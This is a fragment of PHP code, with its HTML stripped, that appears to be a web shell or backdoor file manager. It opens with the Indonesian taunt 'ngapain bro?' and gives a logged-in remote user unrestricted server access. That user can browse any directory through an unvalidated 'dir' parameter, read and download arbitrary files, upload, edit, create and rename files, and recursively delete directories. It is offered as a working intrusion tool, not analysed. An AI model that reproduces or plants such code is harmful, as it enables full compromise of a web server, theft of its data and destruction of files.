ngapain bro?

"; } } if (!isset($_SESSION['loggedin'])) { echo '
'; exit; } $root_dir = realpath(__DIR__); $current_dir = isset($_GET['dir']) ? realpath($_GET['dir']) : $root_dir; if (!$current_dir || !is_dir($current_dir)) { $current_dir = $root_dir; } function listDirectory($dir) { $files = scandir($dir); $directories = []; $regular_files = []; foreach ($files as $file) { if ($file != "." && $file != "..") { if (is_dir($dir . '/' . $file)) { $directories[] = $file; } else { $regular_files[] = $file; } } } foreach ($directories as $directory) { echo ''; echo '📁 ' . $directory . ''; echo 'Folder'; echo '' . date("Y-m-d H:i:s", filemtime($dir . '/' . $directory)) . ''; // Menampilkan waktu terakhir diubah echo ' Edit | Delete | Rename | Download '; echo ''; } foreach ($regular_files as $file) { echo ''; echo '' . $file . ''; echo '' . filesize($dir . '/' . $file) . ' bytes'; echo '' . date("Y-m-d H:i:s", filemtime($dir . '/' . $file)) . ''; // Menampilkan waktu terakhir diubah echo ' Edit | Delete | Rename | Download '; echo ''; } } if (isset($_GET['delete'])) { $item_to_delete = $current_dir . '/' . $_GET['delete']; if (is_file($item_to_delete)) { unlink($item_to_delete); } elseif (is_dir($item_to_delete)) { function deleteDir($dir) { $files = array_diff(scandir($dir), array('.', '..')); foreach ($files as $file) { $filePath = "$dir/$file"; if (is_dir($filePath)) { deleteDir($filePath); } else { unlink($filePath); } } rmdir($dir); } deleteDir($item_to_delete); } header("Location: ?dir=" . urlencode($_GET['dir'])); exit; } if (isset($_GET['download'])) { $file_to_download = $current_dir . '/' . $_GET['download']; if (is_file($file_to_download)) { header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="' . basename($file_to_download) . '"'); header('Content-Length: ' . filesize($file_to_download)); readfile($file_to_download); exit; } } if (isset($_POST['rename_file'])) { $old_name = $current_dir . '/' . $_POST['old_name']; $new_name = $current_dir . '/' . $_POST['new_name']; rename($old_name, $new_name); header("Location: ?dir=" . urlencode($_GET['dir'])); } if (isset($_POST['upload'])) { $target_file = $current_dir . '/' . basename($_FILES["file"]["name"]); move_uploaded_file($_FILES["file"]["tmp_name"], $target_file); header("Location: ?dir=" . urlencode($_GET['dir'])); } if (isset($_POST['save_edit'])) { $file_to_edit = $current_dir . '/' . $_POST['file_name']; $new_content = $_POST['file_content']; file_put_contents($file_to_edit, $new_content); header("Location: ?dir=" . urlencode($current_dir)); exit; } if (isset($_GET['edit'])) { $file_to_edit = $current_dir . '/' . $_GET['edit']; if (is_file($file_to_edit)) { $file_content = file_get_contents($file_to_edit); } } if (isset($_POST['create_file'])) { $new_file_name = $_POST['new_file_name']; $new_file_path = $current_dir . '/' . $new_file_name; file_put_contents($new_file_path, ""); header("Location: ?dir=" . urlencode($_GET['dir'])); } if (isset($_POST['create_folder'])) { $new_folder_name = $_POST['new_folder_name']; $new_folder_path = $current_dir . '/' . $new_folder_name; mkdir($new_folder_path); header("Location: ?dir=" . urlencode($_GET['dir'])); } if (isset($_GET['rename'])) { $rename_item = $_GET['rename']; echo '

Rename: ' . htmlspecialchars($rename_item) . '

'; echo '
'; } ?> file manager

Current Directory:

Edit File:

File/Folder Size Last Modified Actions